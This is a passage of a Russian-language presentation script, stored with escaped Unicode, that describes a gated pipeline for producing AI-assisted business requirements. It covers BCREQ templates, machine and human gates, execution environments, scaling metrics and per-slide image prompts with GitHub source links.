\u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439, \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, \u0432\u044b\u0431\u043e\u0440 \u2014 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435.\\n- **Fail-closed:** \u043d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438\\n  \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n\\n> **\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0059 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u044f\\n> endpoint'\u043e\u0432; RUN-0060 \u0434\u0430\u043b 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430\\n> \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u00ab\u043a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u2192 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u2192\\n\u0440\u0438\u0441\u043a\u00bb (5 \u0441\u0442\u0440\u043e\u043a).\\n\\n| \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 | \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c | \u0420\u0438\u0441\u043a \u0431\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f |\\n| --- | --- | --- |\\n| \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 | \u0441\u0432\u0435\u0440\u043a\u0430 \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c | \u043f\u0440\u043e\u043f\u0443\u0441\u043a |\\n| \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 | \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u043e\u0442\u0435\u0440\u044f \u043f\u0440\u0438 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0435 |\\n| \u043f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435 | \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a + \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u044f |\\n| \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 | \u0441\u0445\u0435\u043c\u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 | \u043b\u043e\u0436\u043d\u043e\u0435 \u00ab\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u0435\u0442\u00bb |\\n| \u043e\u0446\u0435\u043d\u043a\u0430 \u0438 \u0432\u044b\u0431\u043e\u0440 | \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 + \u0447\u0435\u043b\u043e\u0432\u0435\u043a | \u043d\u0435\u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0432\u044b\u0431\u043e\u0440 |\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA human brain rendered as a loose, glowing nebula on the left; on the\\nright the same energy is split into five precise crystalline modules,\\neach sealed inside its own transparent inspection chamber with a\\nclosed lock that only opens when a checklist lights up.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043f\u044f\u0442\u044c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md),\\n[\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u0444\u043e\u0440\u043c\u044b BCREQ \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u0435 \u00ab\u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md),\\n[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0411\u043b\u043e\u043a 5. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043a\u0430\u043a \u0446\u0435\u043b\u044c.**\\n\\n1. **\u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f:** \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443\\n   `C-IN`; \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n2. **\u0421\u0432\u0435\u0440\u043a\u0430:** \u0444\u0430\u043a\u0442\u044b \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438 \u043a\u0435\u0439\u0441\u0430\u043c; \u043d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u0438\\n   \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c\u0438 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u044f\u043c\u0438.\\n3. **\u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443:** \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0434\u043b\u044f\\n   API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438 \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430; \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u2014 \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430\\n   \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n4. **\u0413\u0435\u0439\u0442\u044b:** `G-mach` \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, `G-human` \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\\n   \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435 \u0432\u044b\u0431\u043e\u0440\u044b.\\n5. **\u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f:** \u043e\u0434\u0438\u043d \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432\\n   \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** \u0434\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442 \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439\\n> Release \u2014 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u043e\u0442\u0440\u0435\u0437\u043e\u043a \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d.\\n\\n**\u0413\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432:**\\n\\n| \u042d\u0442\u0430\u043f | \u0421\u0442\u0430\u0442\u0443\u0441 |\\n| --- | --- |\\n| \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f | \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c (\u0441\u0440\u0435\u0437 `contact-center`) |\\n| `G-mach`, \u0441\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release | \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e |\\n| `G-human` | \u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u0435\u0441\u0442\u044c, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 |\\n| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-DEV, V-CONTRACT | \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0447\u0430\u0441\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d\u0430 |\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA clean horizontal production line: raw crumpled requests enter on the\\nleft, pass a sorting station, a library shelf where each item is\\nstamped with a source tag, a golden mould that shapes identical\\ndocuments, a machine scanner gate, a human inspector's desk, and exit\\non the right as four neatly labelled output trays.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0432\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0440\u0435\u0437 BCREQ](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[RFC Working \u2192 Release](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-working-release-pipeline.md),\\n[\u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden),\\n[\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u0413-16 \u043e \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c\u0435 Release](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0411\u043b\u043e\u043a 6. \u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.**\\n\\n- **\u0421\u0435\u0439\u0447\u0430\u0441:** \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043d\u0430 \u0410\u0420\u041c \u0411\u0410 \u2014 GigaCode CLI \u0438 Cline + Mango AI.\\n  \u041e\u0434\u0438\u043d Source, \u0434\u0432\u0430 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u043a\u0435\u0442\u0430.\\n- **\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b:** \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b\\n  \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432 Cline \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0447\u0438\u0442\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c.\\n- **\u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430:** \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430.\\n- **\u0412\u0435\u043a\u0442\u043e\u0440:** runner \u043d\u0430 \u0410\u0420\u041c \u043a\u0430\u043a \u043b\u0438\u0434\u0435\u0440, \u0437\u0430\u0442\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0421\u0440\u0435\u0434\u0430 4 \u2014 \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e\\n  \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0438\u0441: \u0441\u0432\u043e\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0445\u0435\u0448\u0435\u0439, Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API.\\n\\n> **\u041f\u0440\u0438\u043d\u0446\u0438\u043f:** \u0430\u0433\u0435\u043d\u0442 \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0443\u0437\u043b\u0430, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c\\n> (\u00abown your control flow\u00bb).\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0434\u0432\u0435 \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u00ab\u0410\u0420\u041c \u0441\u0435\u0433\u043e\u0434\u043d\u044f\u00bb \u0438 \u00ab\u0421\u0440\u0435\u0434\u0430 4\u00bb; \u043e\u0431\u0449\u0438\u0439\\n\u0431\u043b\u043e\u043a \u044f\u0434\u0440\u0430 runner \u043f\u043e \u0446\u0435\u043d\u0442\u0440\u0443.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nOn the left a single analyst's desk with a laptop and a small engine\\nblock glowing on it; an arrow leads to the right where the very same\\nengine block is installed at the centre of a compact server room,\\nnow connected by clean cables to several desks and a secure vault.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md),\\n[ADR-017: Source \u2192 Distribution \u2192 Runtime](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\\n[ADR-018: \u0433\u0440\u0430\u043d\u0438\u0446\u0430 GigaCode CLI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md),\\n[ADR-019: \u043f\u0438\u043b\u043e\u0442 Cline + Mango AI](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0411\u043b\u043e\u043a 7. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\\n  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0441 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u0438 \u0441\u043b\u0435\u0434\u043e\u043c \u0434\u043e\\n  \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430, \u0430 \u043d\u0435 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f, \u0430 \u043d\u0435 \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0433\u043b\u0430\u0437: `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430, `M-2`\\n  \u043e\u0442\u043a\u0430\u0437\u044b `G-mach`, `M-3` \u043f\u0440\u0430\u0432\u043a\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430, `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 = 100%.\\n- \u041a\u0430\u0436\u0434\u043e\u0435 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442 \u043d\u043e\u0440\u043c\u044b, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435, \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441\\n  \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n> **\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f:** \u0441\u0440\u0435\u0437 \u0443\u0441\u043f\u0435\u0448\u0435\u043d, \u0435\u0441\u043b\u0438 `M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e \u0432\u044b\u0448\u0435\\n> \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 0.0 \u043f\u0440\u0438 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442\\n> \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0432\u043e\u0440\u043e\u043d\u043a\u0430 \u00ab\u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u043b\u0438\u043d\u0438\u0438 \u2192 \u043e\u0434\u0438\u043d \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u2192\\n\u0421\u0410 / \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 / \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u00bb \u0438 \u0441\u0442\u0440\u043e\u043a\u0430 \u043c\u0435\u0442\u0440\u0438\u043a M-1\u2026M-4.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nSeveral different product streams of varied shapes enter a single\\nprecision-machined standard coupling; on the other side they leave as\\nidentical, perfectly fitting connectors that plug directly into three\\nreceiving machines representing analysis, development and a signed\\ncontract.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0440\u0438\u043a\u0438 M-1\u2026M-5 \u0438 \u043f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[ADR-017: \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0432 Source](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md),\\n[\u0441\u0445\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-24-architecture-convergence-and-readiness.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u0427\u0442\u043e\u0431\u044b 